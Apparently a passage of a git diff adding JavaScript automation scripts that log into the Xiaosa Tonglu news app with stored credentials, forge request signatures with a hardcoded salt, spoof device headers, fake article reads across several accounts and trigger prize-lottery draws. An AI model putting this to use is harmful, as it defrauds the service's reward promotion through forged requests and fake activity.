{ + console.log(e); + } + } + getUUID() { + return 'xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx'.replace(/[xy]/g, function (c) { + var r = Math.random() * 16 | 0, + v = c == 'x' ? r : (r & 0x3 | 0x8); + return v.toString(16); + }); + } + SHA256_Encrypt(str) { + const crypto = require('crypto'); + return crypto.createHash("sha256").update(str).digest('hex'); + } + async do_read(articleId) { + let host_data = `/api/article/detail` + let REQUEST_ID = this.getUUID(); + let TIMESTAMP = Date.now(); + let s = `${host_data}&&${this.sessionId}&&${REQUEST_ID}&&${TIMESTAMP}&&FR*r!isE5W&&59` + let SIGNATURE = this.SHA256_Encrypt(s) + let options = { + fn: "阅读文章", + method: 'get', + url: `https://vapp.tmuyun.com/api/article/detail?id=${articleId}`, + headers: { + 'X-SESSION-ID': `${this.sessionId}`, + 'X-REQUEST-ID': REQUEST_ID, + 'X-TIMESTAMP': TIMESTAMP, + 'X-SIGNATURE': SIGNATURE, + 'X-TENANT-ID': `59`, + 'User-Agent': '1.1.9;00000000-67f7-45bf-ffff-ffffa7397b83;Xiaomi MI 8 Lite;Android;10;Release', + 'Cache-Control': 'no-cache', + Host: 'vapp.tmuyun.com', + Connection: 'Keep-Alive', + } + }; + try { + + let { body: result } = await httpRequest(options); + //console.log(options); + result = JSON.parse(result); + //console.log(result); + if (result.code == "0") { + console.log(`阅读成功`) + } + + } catch (e) { + console.log(e); + } + } + rsa_encrypt(data) { + //创建RSA加密对象 + global["window"] = {} + const JSEncrypt = require("jsencrypt") + var encrypt = new JSEncrypt(); + //设置公钥 + var publicKey = "-----BEGIN PUBLIC KEY-----\n" + + "MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQD6XO7e9YeAOs+cFqwa7ETJ+WXizPqQeXv68i5vqw9pFREsrqiBTRcg7wB0RIp3rJkDpaeVJLsZqYm5TW7FWx/iOiXFc+zCPvaKZric2dXCw27EvlH5rq+zwIPDAJHGAfnn1nmQH7wR3PCatEIb8pz5GFlTHMlluw4ZYmnOwg+thwIDAQAB\n" + + "-----END PUBLIC KEY-----"; + encrypt.setPublicKey(publicKey); + + //使用公钥进行加密 + return encrypt.encrypt(data); + } + get_headers() { + return { + 'Host': 'wxapi.hoolo.tv', + 'Accept': 'application/json, text/javascript, /; q=0.01', + 'User-Agent': 'Mozilla/5.0 (Linux; Android 10; MI 8 Lite Build/QKQ1.190910.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/81.0.4044.138 Mobile Safari/537.36;xsb_xiaosatonglu;xsb_xiaosatonglu;1.0.60;native_app;6.5.1', + 'Origin': 'https://tp.hoolo.tv', + 'X-Requested-With': 'com.chinamcloud.wangjie.b87d8fb20e29a0328c6e21045e8b500e', + 'Sec-Fetch-Site': 'same-site', + 'Sec-Fetch-Mode': 'cors', + 'Sec-Fetch-Dest': 'empty', + 'Referer': 'https://tp.hoolo.tv/h5/tlread/index.html', + 'Accept-Encoding': 'gzip, deflate', + 'Accept-Language': 'zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7' + } + + } +} + +async function start() { + let taskall = []; + for (let user of userList) { + if (user.ckStatus) { + taskall.push(await user.main()); + } + } + await Promise.all(taskall); +} + +!(async () => { + if (!(await checkEnv())) return; + if (userList.length > 0) { + await start(); + } + await SendMsg($.logs.join("\n")); +})() + .catch((e) => console.log(e)) + .finally(() => $.done()); + +//******************************************************** +/** + * 变量检查与处理 + * @returns + */ +async function checkEnv() { + //let userCookie = ($.isNode() ? process.env[ckName] : $.getdata(ckName)) || ""; + let userCookie = ($.isNode() ? process.env[ckName] : $.getdata(ckName)) || ""; + if (userCookie) { + let e = envSplitor[0]; + for (let o of envSplitor) + if (userCookie.indexOf(o) > -1) { + e = o; + break; + } + for (let n of userCookie.split(e)) n && userList.push(new UserInfo(n)); + } else { + console.log("未找到CK"); + return; + } + return console.log(`共找到${userList.length}个账号`), true; //true == !0 +} + +///////////////////////////////////////////////////////////////////////////////////// +function httpRequest(options) { + if (!options["method"]) { + return console.log(`请求方法不存在`); + } + if (!options["fn"]) { + console.log(`函数名不存在`); + } + return new Promise((resolve) => { + $[options.method](options, (err, resp, data) => { + try { + if (err) { + $.logErr(err); + } else { + try { + resp = JSON.parse(resp); + } catch (error) { } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(resp); + } + }); + }); +} +async function SendMsg(message) { + if (!message) return; + if ($.isNode()) { + await notify.sendNotify($.name, message); + } else { + $.msg($.name, "", message); + } +} +// prettier-ignore +function Env(t, s) { return new (class { constructor(t, s) { (this.name = t), (this.data = null), (this.dataFile = "box.dat"), (this.logs = []), (this.logSeparator = "\n"), (this.startTime = new Date().getTime()), Object.assign(this, s), this.log("", `\ud83d\udd14${this.name},\u5f00\u59cb!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } getScript(t) { return new Promise((s) => { this.get({ url: t }, (t, e, i) => s(i)) }) } runScript(t, s) { return new Promise((e) => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let o = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); (o = o ? 1 * o : 20), (o = s && s.timeout ? s.timeout : o); const [h, a] = i.split("@"), r = { url: `http://${a}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: o }, headers: { "X-Key": h, Accept: "*/*" }, }; this.post(r, (t, s, i) => e(i)) }).catch((t) => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { (this.fs = this.fs ? this.fs : require("fs")), (this.path = this.path ? this.path : require("path")); const t = this.path.resolve(this.dataFile), s = this.path.resolve(process.cwd(), this.dataFile), e = this.fs.existsSync(t), i = !e && this.fs.existsSync(s); if (!e && !i) return {}; { const i = e ? t : s; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { (this.fs = this.fs ? this.fs : require("fs")), (this.path = this.path ? this.path : require("path")); const t = this.path.resolve(this.dataFile), s = this.path.resolve(process.cwd(), this.dataFile), e = this.fs.existsSync(t), i = !e && this.fs.existsSync(s), o = JSON.stringify(this.data); e ? this.fs.writeFileSync(t, o) : i ? this.fs.writeFileSync(s, o) : this.fs.writeFileSync(t, o) } } lodash_get(t, s, e) { const i = s.replace(/\[(\d+)\]/g, ".$1").split("."); let o = t; for (const t of i) if (((o = Object(o)[t]), void 0 === o)) return e; return o } lodash_set(t, s, e) { return Object(t) !== t ? t : (Array.isArray(s) || (s = s.toString().match(/[^.[\]]+/g) || []), (s.slice(0, -1).reduce((t, e, i) => Object(t[e]) === t[e] ? t[e] : (t[e] = Math.abs(s[i + 1]) >> 0 == +s[i + 1] ? [] : {}), t)[s[s.length - 1]] = e), t) } getdata(t) { let s = this.getval(t); if (/^@/.test(t)) { const [, e, i] = /^@(.*?)\.(.*?)$/.exec(t), o = e ? this.getval(e) : ""; if (o) try { const t = JSON.parse(o); s = t ? this.lodash_get(t, i, "") : s } catch (t) { s = "" } } return s } setdata(t, s) { let e = !1; if (/^@/.test(s)) { const [, i, o] = /^@(.*?)\.(.*?)$/.exec(s), h = this.getval(i), a = i ? ("null" === h ? null : h || "{}") : "{}"; try { const s = JSON.parse(a); this.lodash_set(s, o, t), (e = this.setval(JSON.stringify(s), i)) } catch (s) { const h = {}; this.lodash_set(h, o, t), (e = this.setval(JSON.stringify(h), i)) } } else e = this.setval(t, s); return e } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? ((this.data = this.loaddata()), this.data[t]) : (this.data && this.data[t]) || null } setval(t, s) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, s) : this.isQuanX() ? $prefs.setValueForKey(t, s) : this.isNode() ? ((this.data = this.loaddata()), (this.data[s] = t), this.writedata(), !0) : (this.data && this.data[s]) || null } initGotEnv(t) { (this.got = this.got ? this.got : require("got")), (this.cktough = this.cktough ? this.cktough : require("tough-cookie")), (this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar()), t && ((t.headers = t.headers ? t.headers : {}), void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, s = () => { }) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? $httpClient.get(t, (t, e, i) => { !t && e && ((e.body = i), (e.statusCode = e.status)), s(t, e, i) }) : this.isQuanX() ? $task.fetch(t).then((t) => { const { statusCode: e, statusCode: i, headers: o, body: h } = t; s(null, { status: e, statusCode: i, headers: o, body: h }, h) }, (t) => s(t)) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, s) => { try { const e = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); this.ckjar.setCookieSync(e, null), (s.cookieJar = this.ckjar) } catch (t) { this.logErr(t) } }).then((t) => { const { statusCode: e, statusCode: i, headers: o, body: h, } = t; s(null, { status: e, statusCode: i, headers: o, body: h }, h) }, (t) => s(t))) } post(t, s = () => { }) { if ((t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), delete t.headers["Content-Length"], this.isSurge() || this.isLoon())) $httpClient.post(t, (t, e, i) => { !t && e && ((e.body = i), (e.statusCode = e.status)), s(t, e, i) }); else if (this.isQuanX()) (t.method = "POST"), $task.fetch(t).then((t) => { const { statusCode: e, statusCode: i, headers: o, body: h } = t; s(null, { status: e, statusCode: i, headers: o, body: h }, h) }, (t) => s(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: e, ...i } = t; this.got.post(e, i).then((t) => { const { statusCode: e, statusCode: i, headers: o, body: h } = t; s(null, { status: e, statusCode: i, headers: o, body: h }, h) }, (t) => s(t)) } } time(t) { let s = { "M+": new Date().getMonth() + 1, "d+": new Date().getDate(), "H+": new Date().getHours(), "m+": new Date().getMinutes(), "s+": new Date().getSeconds(), "q+": Math.floor((new Date().getMonth() + 3) / 3), S: new Date().getMilliseconds(), }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (new Date().getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in s) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? s[e] : ("00" + s[e]).substr(("" + s[e]).length))); return t } msg(s = t, e = "", i = "", o) { const h = (t) => !t || (!this.isLoon() && this.isSurge()) ? t : "string" == typeof t ? this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : void 0 : "object" == typeof t && (t["open-url"] || t["media-url"]) ? this.isLoon() ? t["open-url"] : this.isQuanX() ? t : void 0 : void 0; this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(s, e, i, h(o)) : this.isQuanX() && $notify(s, e, i, h(o))); let logs = ['', '==============📣系统通知📣==============']; logs.push(t); e ? logs.push(e) : ''; i ? logs.push(i) : ''; console.log(logs.join('\n')); this.logs = this.logs.concat(logs) } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, s) { const e = !this.isSurge() && !this.isQuanX() && !this.isLoon(); e ? this.log("", `\u2757\ufe0f${this.name},\u9519\u8bef!`, t.stack) : this.log("", `\u2757\ufe0f${this.name},\u9519\u8bef!`, t) } wait(t) { return new Promise((s) => setTimeout(s, t)) } done(t = {}) { const s = new Date().getTime(), e = (s - this.startTime) / 1e3; this.log("", `\ud83d\udd14${this.name},\u7ed3\u675f!\ud83d\udd5b ${e}\u79d2`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } })(t, s) } diff --git a/脚本库/微信小程序/抓包版/潇洒桐庐/2026-05-14_xiaosatonglu_7a55d833.js b/脚本库/微信小程序/抓包版/潇洒桐庐/2026-05-14_xiaosatonglu_7a55d833.js new file mode 100644 index 0000000..9ca9588 --- /dev/null +++ b/脚本库/微信小程序/抓包版/潇洒桐庐/2026-05-14_xiaosatonglu_7a55d833.js @@ -0,0 +1,459 @@ +// # Source: https://github.com/smallfawn/QLScriptPublic/blob/main/xiaosatonglu.js +// # Raw: https://raw.githubusercontent.com/smallfawn/QLScriptPublic/main/xiaosatonglu.js +// # Repo: smallfawn/QLScriptPublic +// # Path: xiaosatonglu.js +// # UploadedAt: 2026-05-14T17:47:57+08:00 +// # SHA256: 7a55d833c40d510d42f428dee2967fa135a7b3ef61fbec64e65d39c0b84c373d +// # Category: 微信小程序/抓包版 +// # Evidence: appid/openid/session_key/encryptedData等小程序字段 +// + + +/** + * cron 5 15 * * * + * Show: 每天0.6 + * 变量名:账号密码 + * 变量值: + + */ + +const $ = new Env("潇洒桐庐"); +const notify = $.isNode() ? require("./sendNotify") : ""; +let ckName = "xiaosa"; +let envSplitor = ["@", "\n"]; //多账号分隔符 +let strSplitor = "&"; //多变量分隔符 +let userIdx = 0; +let userList = []; +class UserInfo { + constructor(str) { + this.index = ++userIdx; + //this.ck = str.split(strSplitor)[0]; //单账号多变量分隔符 + this.ckStatus = true; + this.artList = [] + this.accountId = null; + this.sessionId = null; + this.channelId = [`6530daf779f6be358bba1522`, `6530dae171a9ed74577e4689`, `6530db1e71a9ed74577e468e`]; + this.round = 1; + this.num = null; + this.mobile = str.split(strSplitor)[0]; + this.password = str.split(strSplitor)[1]; + this.code = null; + this.username = null; + this.wxopenId = null; + //定义在这里的headers会被get请求删掉content-type 而不会重置 + } + + async main() { + $.log(`------开始${this.mobile}------`) + await this.getCode() + if (this.code !== null) { + await this.login() + if (this.accountId !== null && this.sessionId !== null) { + await this.user_info() + if (this.wxopenId !== "" && this.wxopenId !== null) { + await this.art_list(this.channelId[0]); + this.round = 1; + if (this.artList.length == 0) { + await this.art_list(this.channelId[1]); + this.round = 2; + } + if (this.artList.length == 0) { + await this.art_list(this.channelId[2]); + this.round = 3; + } + + if (this.artList.length !== 0) { + this.num = this.artList.length + for (let artId of this.artList) { + await this.read_status(artId) + if (this.artReadStatus == true) { + console.log(`已阅读${artId}`) + await this.read_task(artId) + } else if (this.artReadStatus == false) { + console.log(`未阅读${artId}`) + await this.do_read(artId) + await $.wait(5000) + await this.read_task(artId) + } + } + await this.lottery_num() + } + + } else { + $.log(`未绑定微信`) + } + //await this.lottery_task() + + } + } + + + } + async getCode() { + try { + let options = { + fn: "获取登录code", + method: "post", + url: `https://passport.tmuyun.com/web/oauth/credential_auth`, + headers: { + 'Host': 'passport.tmuyun.com', + 'Content-Type': 'application/x-www-form-urlencoded', + 'Accept-Encoding': 'gzip, deflate, br' + }, + body: `client_id=10017&password=${encodeURIComponent(this.rsa_encrypt(this.password))}&phone_number=${this.mobile}` + }; + let { body: result } = await httpRequest(options); + //console.log(options); + result = JSON.parse(result); + //console.log(result); + if (result.code == 0) { + //console.log(result.data.authorization_code.code) + this.code = result.data.authorization_code.code + } else { + + } + } catch (e) { + console.log(e); + } + } + async login() { + try { + let host_data = `/api/zbtxz/login` + let REQUEST_ID = this.getUUID(); + let TIMESTAMP = Date.now(); + let s = `${host_data}&&6565886da95d5a47f651317f&&${REQUEST_ID}&&${TIMESTAMP}&&FR*r!isE5W&&59` + //console.log(s) + let SIGNATURE = this.SHA256_Encrypt(s) + let options = { + fn: "登录", + method: 'post', + url: `https://vapp.tmuyun.com/api/zbtxz/login`, + headers: { + 'X-SESSION-ID': `6565886da95d5a47f651317f`, + 'X-REQUEST-ID': REQUEST_ID, + 'X-TIMESTAMP': TIMESTAMP, + 'X-SIGNATURE': SIGNATURE, + 'X-TENANT-ID': `59`, + 'User-Agent': '1.1.9;00000000-67f7-45bf-ffff-ffffa7397b83;Xiaomi MI 8 Lite;Android;10;Release', + 'Cache-Control': 'no-cache', + Host: 'vapp.tmuyun.com', + Connection: 'Keep-Alive', + }, + body: `check_token=&code=${this.code}&token=&type=-1&union_id=` + }; + let { body: result } = await httpRequest(options); + //console.log(options); + result = JSON.parse(result); + //console.log(result) + if (result.code == 0) { + this.sessionId = result.data.session.id + this.accountId = result.data.session.account_id + this.username = result.data.account.nick_name + } else { + + } + } catch (e) { + console.log(e); + } + } + async user_info() { + try { + let options = { + fn: "信息查询", + method: "get", + url: `https://wxapi.hoolo.tv/event/dtqp/index.php?s=/home/TmApi/getUserInformation&accountId=${this.accountId}&username=${encodeURIComponent(this.username)}&type=jsonp`, + headers: this.get_headers(), + }; + let { body: result } = await httpRequest(options); + //console.log(options); + result = JSON.parse(result); + //console.log(result); + if (result.code == 0) { + this.wxopenId = result.data.userid + } else { + console.log(`❌[${options.fn}]失败`); + console.log(JSON.stringify(result)); + } + } catch (e) { + console.log(e); + } + } + async read_status(articleId) { + try { + let options = { + fn: "阅读状态", + method: "get", + url: `https://wxapi.hoolo.tv/event/dtqp/index.php?s=/home/TmApi/getUserRead&accountId=${this.accountId}&articleId=${articleId}&type=jsonp`, + headers: this.get_headers(), + }; + let { body: result } = await httpRequest(options); + //console.log(options); + result = JSON.parse(result); + //console.log(result); + if (result.read_effective == 1) { + this.artReadStatus = true; + await this.read_task(articleId) + } else if (result.read_effective == 0) { + this.artReadStatus = false; + } else { + console.log(`❌[${options.fn}]失败`); + console.log(JSON.stringify(result)); + } + } catch (e) { + //console.log(e); + } + } + async read_task(articleId) { + try { + let options = { + fn: "阅读执行", + method: "get", + url: `https://wxapi.hoolo.tv/event/dtqp/index.php?s=home/baoming/postBaoming/&activityId=428&name=${this.accountId}&city=${articleId}&gender=${this.round}&cellphone=${this.mobile}&type=jsonp`, + headers: this.get_headers(), + }; + let { body: result } = await httpRequest(options); + //console.log(options); + result = JSON.parse(result); + //console.log(result); + if (result.code == 0) { + //console.log(`✅阅读回调成功🎉`); + } else { + console.log(`❌[${options.fn}]失败`); + console.log(JSON.stringify(result)); + } + } catch (e) { + console.log(e); + } + } + + async lottery_num() { + try { + let options = { + fn: "抽奖查询", + method: "get", + url: `https://wxapi.hoolo.tv/event/dtqp/index.php?s=/home/TmApi/addPrizenum&accountId=${this.accountId}&round=${this.round}&num=${this.num}&type=jsonp`, + headers: this.get_headers(), + }; + let { body: result } = await httpRequest(options); + //console.log(options); + result = JSON.parse(result); + console.log(result); + if (result.code == "0") { + //console.log(`✅账号[${this.index}] 欢迎用户: ${result.errcode}🎉`); + $.log(`✅可以抽奖咯!🎉`); + await this.lottery_task() + } else { + console.log(`❌[${options.fn}]失败`); + console.log(JSON.stringify(result)); + } + } catch (e) { + console.log(e); + } + } + + async lottery_task() { + let expando = "jQuery" + ("1.7.1" + Math.random()).replace(/\D/g, ""); + let time1 = new Date().getTime(); + let time2 = new Date().getTime(); + try { + let options = { + fn: "执行抽奖", + method: "get", + url: `https://wxapi.hoolo.tv/event/dtqp/index.php?s=/Home/ChoujiangNew/apiChoujiang&callback=${expando}_${time1}&openId=${this.accountId}&action=cj&typeId=122&address=&userid=${this.wxopenId}&_=${time2}`, + headers: this.get_headers(), + }; + let { body: result } = await httpRequest(options); + //console.log(options); + //result = JSON.parse(result); + result = result.replace(`${expando}_${time1}`, "") + result = result.replace(`(`, "") + result = result.replace(`)`, "") + result = JSON.parse(result) + $.log(JSON.stringify(result)) + } catch (e) { + console.log(e); + } + } + // + + async art_list(channelId) { + try { + let options = { + fn: "文章列表", + method: "get", + url: `https://wxapi.hoolo.tv/event/dtqp/index.php?s=/home/TmApi/channelList&channelId=${channelId}&userId=${this.accountId}&sessionId=${this.sessionId}`, + headers: this.get_headers(), + }; + //console.log(options); + let { body: result } = await httpRequest(options); + //console.log(options); + //console.log(result); + result = JSON.parse(result); + //console.log(result); + for (let art of result) { + //console.log(art.id) + this.artList.push(art.id) + } + + } catch (e) { + console.log(e); + } + } + getUUID() { + return 'xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx'.replace(/[xy]/g, function (c) { + var r = Math.random() * 16 | 0, + v = c == 'x' ? r : (r & 0x3 | 0x8); + return v.toString(16); + }); + } + SHA256_Encrypt(str) { + const crypto = require('crypto'); + return crypto.createHash("sha256").update(str).digest('hex'); + } + async do_read(articleId) { + let host_data = `/api/article/detail` + let REQUEST_ID = this.getUUID(); + let TIMESTAMP = Date.now(); + let s = `${host_data}&&${this.sessionId}&&${REQUEST_ID}&&${TIMESTAMP}&&FR*r!isE5W&&59` + let SIGNATURE = this.SHA256_Encrypt(s) + let options = { + fn: "阅读文章", + method: 'get', + url: `https://vapp.tmuyun.com/api/article/detail?id=${articleId}`, + headers: { + 'X-SESSION-ID': `${this.sessionId}`, + 'X-REQUEST-ID': REQUEST_ID, + 'X-TIMESTAMP': TIMESTAMP, + 'X-SIGNATURE': SIGNATURE, + 'X-TENANT-ID': `59`, + 'User-Agent': '1.1.9;00000000-67f7-45bf-ffff-ffffa7397b83;Xiaomi MI 8 Lite;Android;10;Release', + 'Cache-Control': 'no-cache', + Host: 'vapp.tmuyun.com', + Connection: 'Keep-Alive', + } + }; + try { + + let { body: result } = await httpRequest(options); + //console.log(options); + result = JSON.parse(result); + //console.log(result); + if (result.code == "0") { + console.log(`阅读成功`) + } + + } catch (e) { + console.log(e); + } + } + rsa_encrypt(data) { + //创建RSA加密对象 + global["window"] = {} + const JSEncrypt = require("jsencrypt") + var encrypt = new JSEncrypt(); + //设置公钥 + var publicKey = "-----BEGIN PUBLIC KEY-----\n" + + "MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQD6XO7e9YeAOs+cFqwa7ETJ+WXizPqQeXv68i5vqw9pFREsrqiBTRcg7wB0RIp3rJkDpaeVJLsZqYm5TW7FWx/iOiXFc+zCPvaKZric2dXCw27EvlH5rq+zwIPDAJHGAfnn1nmQH7wR3PCatEIb8pz5GFlTHMlluw4ZYmnOwg+thwIDAQAB\n" + + "-----END PUBLIC KEY-----"; + encrypt.setPublicKey(publicKey); + + //使用公钥进行加密 + return encrypt.encrypt(data); + } + get_headers() { + return { + 'Host': 'wxapi.hoolo.tv', + 'Accept': 'application/json, text/javascript, /; q=0.01', + 'User-Agent': 'Mozilla/5.0 (Linux; Android 10; MI 8 Lite Build/QKQ1.190910.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/81.0.4044.138 Mobile Safari/537.36;xsb_xiaosatonglu;xsb_xiaosatonglu;1.0.60;native_app;6.5.1', + 'Origin': 'https://tp.hoolo.tv', + 'X-Requested-With': 'com.chinamcloud.wangjie.b87d8fb20e29a0328c6e21045e8b500e', + 'Sec-Fetch-Site': 'same-site', + 'Sec-Fetch-Mode': 'cors', + 'Sec-Fetch-Dest': 'empty', + 'Referer': 'https://tp.hoolo.tv/h5/tlread/index.html', + 'Accept-Encoding': 'gzip, deflate', + 'Accept-Language': 'zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7' + } + + } +} + +async function start() { + let taskall = []; + for (let user of userList) { + if (user.ckStatus) { + taskall.push(await user.main()); + } + } + await Promise.all(taskall); +} + +!(async () => { + if (!(await checkEnv())) return; + if (userList.length > 0) { + await start(); + } + await SendMsg($.logs.join("\n")); +})() + .catch((e) => console.log(e)) + .finally(() => $.done()); + +//******************************************************** +/** + * 变量检查与处理 + * @returns + */ +async function checkEnv() { + //let userCookie = ($.isNode() ? process.env[ckName] : $.getdata(ckName)) || ""; + let userCookie = ($.isNode() ? process.env[ckName] : $.getdata(ckName)) || ""; + if (userCookie) { + let e = envSplitor[0]; + for (let o of envSplitor) + if (userCookie.indexOf(o) > -1) { + e = o; + break; + } + for (let n of userCookie.split(e)) n && userList.push(new UserInfo(n)); + } else { + console.log("未找到CK"); + return; + } + return console.log(`共找到${userList.length}个账号`), true; //true == !0 +} + +///////////////////////////////////////////////////////////////////////////////////// +function httpRequest(options) { + if (!options["method"]) { + return console.log(`请求方法不存在`); + } + if (!options["fn"]) { + console.log(`函数名不存在`); + } + return new Promise((resolve) => { + $[options.method](options, (err, resp, data) => { + try { + if (err) { + $.logErr(err); + } else { + try { + resp = JSON.parse(resp); + } catch (error) { } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(resp); + } + }); + }); +} +async function SendMsg(message) { + if (!message) return; + if ($.isNode()) { + await notify.sendNotify($.name, message); + } else { + $.msg($.name, "", message); + } +} +// prettier-ignore +function Env(t, s) { return new (class { constructor(t, s) { (this.name = t), (this.data = null), (this.dataFile = "box.dat"), (this.logs = []), (this.logSeparator = "\n"), (this.startTime = new Date().getTime()), Object.assign(this, s), this.log("", `\ud83d\udd14${this.name},\u5f00\u59cb!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } getScript(t) { return new Promise((s) => { this.get({ url: t }, (t, e, i) => s(i)) }) } runScript(t, s) { return new Promise((e) => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let o = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); (o = o ? 1 * o : 20), (o = s && s.timeout ? s.timeout : o); const [h, a] = i.split("@"), r = { url: `http://${a}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: o }, headers: { "X-Key": h, Accept: "*/*" }, }; this.post(r, (t, s, i) => e(i)) }).catch((t) => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { (this.fs = this.fs ? this.fs : require("fs")), (this.path = this.path ? this.path : require("path")); const t = this.path.resolve(this.dataFile), s = this.path.resolve(process.cwd(), this.dataFile), e = this.fs.existsSync(t), i = !e && this.fs.existsSync(s); if (!e && !i) return {}; { const i = e ? t : s; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { (this.fs = this.fs ? this.fs : require("fs")), (this.path = this.path ? this.path : require("path")); const t = this.path.resolve(this.dataFile), s = this.path.resolve(process.cwd(), this.dataFile), e = this.fs.existsSync(t), i = !e && this.fs.existsSync(s), o = JSON.stringify(this.data); e ? this.fs.writeFileSync(t, o) : i ? this.fs.writeFileSync(s, o) : this.fs.writeFileSync(t, o) } } lodash_get(t, s, e) { const i = s.replace(/\[(\d+)\]/g, ".$1").split("."); let o = t; for (const t of i) if (((o = Object(o)[t]), void 0 === o)) return e; return o } lodash_set(t, s, e) { return Object(t) !== t ? t : (Array.isArray(s) || (s = s.toString().match(/[^.[\]]+/g) || []), (s.slice(0, -1).reduce((t, e, i) => Object(t[e]) === t[e] ? t[e] : (t[e] = Math.abs(s[i + 1]) >> 0 == +s[i + 1] ? [] : {}), t)[s[s.length - 1]] = e), t) } getdata(t) { let s = this.getval(t); if (/^@/.test(t)) { const [, e, i] = /^@(.*?)\.(.*?)$/.exec(t), o = e ? this.getval(e) : ""; if (o) try { const t = JSON.parse(o); s = t ? this.lodash_get(t, i, "") : s } catch (t) { s = "" } } return s } setdata(t, s) { let e = !1; if (/^@/.test(s)) { const [, i, o] = /^@(.*?)\.(.*?)$/.exec(s), h = this.getval(i), a = i ? ("null" === h ? null : h || "{}") : "{}"; try { const s = JSON.parse(a); this.lodash_set(s, o, t), (e = this.setval(JSON.stringify(s), i)) } catch (s) { const h = {}; this.lodash_set(h, o, t), (e = this.setval(JSON.stringify(h), i)) } } else e = this.setval(t, s); return e } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? ((this.data = this.loaddata()), this.data[t]) : (this.data && this.data[t]) || null } setval(t, s) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, s) : this.isQuanX() ? $prefs.setValueForKey(t, s) : this.isNode() ? ((this.data = this.loaddata()), (this.data[s] = t), this.writedata(), !0) : (this.data && this.data[s]) || null } initGotEnv(t) { (this.got = this.got ? this.got : require("got")), (this.cktough = this.cktough ? this.cktough : require("tough-cookie")), (this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar()), t && ((t.headers = t.headers ? t.headers : {}), void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, s = () => { }) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? $httpClient.get(t, (t, e, i) => { !t && e && ((e.body = i), (e.statusCode = e.status)), s(t, e, i) }) : this.isQuanX() ? $task.fetch(t).then((t) => { const { statusCode: e, statusCode: i, headers: o, body: h } = t; s(null, { status: e, statusCode: i, headers: o, body: h }, h) }, (t) => s(t)) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, s) => { try { const e = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); this.ckjar.setCookieSync(e, null), (s.cookieJar = this.ckjar) } catch (t) { this.logErr(t) } }).then((t) => { const { statusCode: e, statusCode: i, headers: o, body: h, } = t; s(null, { status: e, statusCode: i, headers: o, body: h }, h) }, (t) => s(t))) } post(t, s = () => { }) { if ((t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), delete t.headers["Content-Length"], this.isSurge() || this.isLoon())) $httpClient.post(t, (t, e, i) => { !t && e && ((e.body = i), (e.statusCode = e.status)), s(t, e, i) }); else if (this.isQuanX()) (t.method = "POST"), $task.fetch(t).then((t) => { const { statusCode: e, statusCode: i, headers: o, body: h } = t; s(null, { status: e, statusCode: i, headers: o, body: h }, h) }, (t) => s(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: e, ...i } = t; this.got.post(e, i).then((t) => { const { statusCode: e, statusCode: i, headers: o, body: h } = t; s(null, { status: e, statusCode: i, headers: o, body: h }, h) }, (t) => s(t)) } } time(t) { let s = { "M+": new Date().getMonth() + 1, "d+": new Date().getDate(), "H+": new 